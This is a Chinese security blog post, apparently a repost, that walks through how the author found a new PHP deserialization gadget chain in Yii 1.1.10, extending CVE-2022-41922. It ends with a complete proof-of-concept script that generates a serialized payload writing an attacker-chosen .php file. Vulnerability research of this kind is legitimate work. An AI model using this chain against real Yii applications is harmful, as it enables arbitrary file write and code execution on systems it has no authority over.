Yii反序列化链条学习与挖掘

admin 2024年4月9日14:15:57评论7 views字数 5000阅读16分40秒阅读模式

前言

在整理资料的时候,发现一套基于Yii框架二开的项目,去搜了一下相关信息,发现在phpggc项目里存在其中一条rce链,对应的编号应该是CVE-2022-41922。

Yii反序列化链条学习与挖掘

gadget地址:

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii/RCE/1/gadgets.php

利用到的接口知识

本地搭建1.1.20版本的环境,对上面RCE链条做了复现调试,学习到了两个比较有意思的接口知识,debug过程我就不贴图了,感兴趣的可以自行调试。

yii项目地址:

https://github.com/yiisoft/yii/tree/1.1.20

链条从__wakeup开始,主要利用的是Iterator接口和ArrayAccess接口,"为什么可以这样?" 这是我debug过程产生的第一个疑问。向我的好朋友"AI凡"请教一下。

一、Iterator接口

当foreach循环遍历 一个实现了Iterator接口 的类对象时,会调用相关需要实现的方法,来看看AI的解释:

Yii反序列化链条学习与挖掘

例子:

<?phpclass SimpleIterator implements Iterator {    private $data = ['Test'];    private $position = 0;    public function rewind() {        echo "This is rewindn";        $this->position = 0;    }    public function valid() {        echo "This is validn";        return isset($this->data[$this->position]);    }    public function current() {        echo "This is currentn";        return $this->data[$this->position];    }    public function key() {        echo "This is keyn";        return $this->position;    }    public function next() {        echo "This is nextn";        ++$this->position;    }}// 创建迭代器对象$iterator = new SimpleIterator();// 使用 foreach 遍历迭代器foreach ($iterator as $key => $value) {    echo "Key: $key, Value: $valuen";}

输出结果:

Yii反序列化链条学习与挖掘

二、ArrayAccess接口

一个 实现ArrayAccess接口 的类,当以数组的形式对该类对象中的属性进行操作时,会自动调用相应的方法。AI解释如下:

Yii反序列化链条学习与挖掘

例子:

<?phpclass SimpleArrayAccess implements ArrayAccess {    public function __construct() {    }    public function offsetExists($offset) {        echo "This is offsetExists:".$offset."n";    }    public function offsetGet($offset) {        echo "This is offsetGet:".$offset."n";    }    public function offsetSet($offset, $value) {        echo "This is offsetSet:".$offset.":".$value."n";    }    public function offsetUnset($offset) {        echo "This is offsetUnset:".$offset."n";    }}$arrayAccessObject = new SimpleArrayAccess();$arrayAccessObject[1];$arrayAccessObject[2]="Va";unset($arrayAccessObject[3]);isset($arrayAccessObject[4]);

输出结果:

Yii反序列化链条学习与挖掘

目标利用失败

回到基于Yii1二开的项目,利用并没有成功,原因是从Yii1.1.11开始,在CCache类(gadget关键类)的get方法里才使用到call_user_func(),目标版本为Yii1.1.10。

Yii1.1.11 CCache类

Yii反序列化链条学习与挖掘

Yii1.1.10 CCache类

Yii反序列化链条学习与挖掘

既然链条的后半部分无法继续利用,那么是否可以通过刚刚学习到的接口知识再续一个利用链呢?

寻找新的利用点

本地部署 yii1.1.10项目:

https://github.com/yiisoft/yii/tree/1.1.10

根据刚刚对ArrayAccess接口的理解,我在CCache类的实现方法中观察到offsetSet方法

Yii反序列化链条学习与挖掘

Yii反序列化链条学习与挖掘

如果分析了上面的RCE链(CVE-2022-41922),我们知道$this->getValue函数是调用的CFileCache类的getValue,因为CFileCache类继承于抽象类CCache,且实现了getValue函数,其中$this->setValue函数也是一样的道理。

Yii反序列化链条学习与挖掘

观察CFileCache类的setValue方法,调用了file_put_contents函数,且文件名以及内容都是可控,想要成功闭环,关键点是找到一个能触发offsetSet方法的位置。

Yii反序列化链条学习与挖掘

结合刚刚观察到的两个点,暂定接下来的分析思路:

1、以getValue为突破口,找到符合条件的类。    继承于CCache类,且实现了getValue,getValue逻辑中能触发其他魔术方法。2、找到一个能触发offsetSet的位置。    形如 $arrayAccessObject['key']=$value;  //$value 可控。

寻找getValue函数

CDbCache类继承于抽象类CCache,且实现了getValue函数。

Yii反序列化链条学习与挖掘如果$db是一个对象,现在要访问该对象不存在的属性,可触发该对象的 __get方法。

Yii反序列化链条学习与挖掘

查看getDbConnection方法,$this->_db不为空时直接返回并赋值给$db,是可控的。

Yii反序列化链条学习与挖掘

CDbCache类实现的getValue函数中,可控制$db为一个存在__get方法且不存在queryCachingDuration属性的对象。

寻找__get方法

CModule 类

Yii反序列化链条学习与挖掘

这里需要进入getComponent(),前提是hasComponent()需要为true。

$this->_componentConfig[$id]指定值即可  //内容需要符合后续逻辑相关数组键值

Yii反序列化链条学习与挖掘

将getComponent()分解为步骤123

分析步骤1:

为了进入到步骤2和步骤3,初始化时不定义_components即可,这也符合在hasComponent()中的逻辑或运算。

Yii反序列化链条学习与挖掘

分析步骤2

a、将$config['class']的类名赋值给$type,往下会判断类是否存在 b、实例化一个类对象c、将$config中未被unset的键值对,经过循环遍历,key为类对象的属性,并赋值   (这里如果对不存在的属性进行赋值是不是触发了__set()?插个桩)

Yii反序列化链条学习与挖掘

分析步骤3

调用从步骤2中返回对象的init()

Yii反序列化链条学习与挖掘

总的来说,CModule 类的__get方法是允许我们调用任意类的init方法。到这里算是完成了思路1。

寻找init方法

CActiveForm类,在红色箭头处代码操作符合触发offsetSet方法,完成思路2,剩下考虑数值是否可控。

$this->htmlOptions['id']=$this->id;

Yii反序列化链条学习与挖掘

再来回顾offsetSet方法逻辑,这个$value是需要我们控制的,也是file_put_contents的第二个参数,所以$this->id的值需要我们去控制。

Yii反序列化链条学习与挖掘

由于id在当前类(CActiveForm)和父类均是不存在的属性,因此又调用我们熟悉的__get方法。
在这之前,还记得前面插桩的位置吧,如果$key=id(id为对象不存在属性)进行赋值时,触发了__set方法。

Yii反序列化链条学习与挖掘

我们在CActiveForm类的"祖宗"CComponent类找到了这两个魔术方法,类继承关系如下:

CActiveForm extends CWidget extends CBaseController extends CComponent

反序列化过程中按照触发顺序,先进入CComponent类的__set方法。

形参$name='id',  形参$value='自定义值',变量$setter='setid'method_exists()默认情况下不区分大小写$this->$setter() ===> $this->setid($value) //这里在“孙子”CWidget类中实现了setId方法。

Yii反序列化链条学习与挖掘

来到CWidget类的setId方法,将$value赋值给$this->_id

Yii反序列化链条学习与挖掘

后进入CComponent类的__get方法。

形参$name='id',  变量$getter='getid'$this->$getter() ===> $this->getid() //这里在“孙子“CWidget类中实现了getId方法。

Yii反序列化链条学习与挖掘

CWidget类的getId方法逻辑如下

Yii反序列化链条学习与挖掘

所以$this->id 的值最终来源是getId方法的$this->id,而$this->id 是由setId()形参$value赋值,$value为我们可控,解决了写入内容操作问题。

至此,配合原RCE链前半部分,以getValue方法为转折点,找到了能触发offsetSet方法的位置,成功闭环一条可用的链路。

P

<?phpclass CFileCache{    public $hashKey;    public $keyPrefix;    public $serializer;    public $embedExpiry;    public $cachePath;    public $cacheFileSuffix;    public $directoryLevel;    public function __construct(){        $this->hashKey = false;        $this->keyPrefix = "test";        $this->serializer = false;        $this->embedExpiry = false;        $this->cachePath = ".";        $this->cacheFileSuffix = ".php";        $this->directoryLevel = 0;    }}class CModule{    private $_componentConfig;    public function __construct($objcc){        $this->_componentConfig = array("queryCachingDuration"=>array("enabled"=>"1","class"=>"CActiveForm","htmlOptions"=>$objcc,"id"=>"<?php print_r(md5(1));?>"));    }}class CWebModule extends CModule{    function __construct($objcc){        parent::__construct($objcc);    }}class CDbCache{    private $_db;    function __construct($objCache){        $this->_db=$objCache;    }}class CMapIterator{    private $_d;    private $_keys;    function __construct($_dobj){        $this->_d = $_dobj;        $this->_keys = ["123"];    }}class CDbCriteria{    function __construct($params){        $this->params = $params;    }}$x = new CFileCache();$z = new CWebModule($x);$y = new CDbCache($z);$a = new CMapIterator($y);$b = new CDbCriteria($a);echo urlencode(serialize($b));

验证

Yii反序列化链条学习与挖掘

Yii反序列化链条学习与挖掘

Yii反序列化链条学习与挖掘

总结

学习+巩固+解决问题=Interested

原文始发于微信公众号(XINYU2428):Yii反序列化链条学习与挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月9日14:15:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Yii反序列化链条学习与挖掘http://cn-sec.com/archives/2640469.html

发表评论

匿名网友 填写信息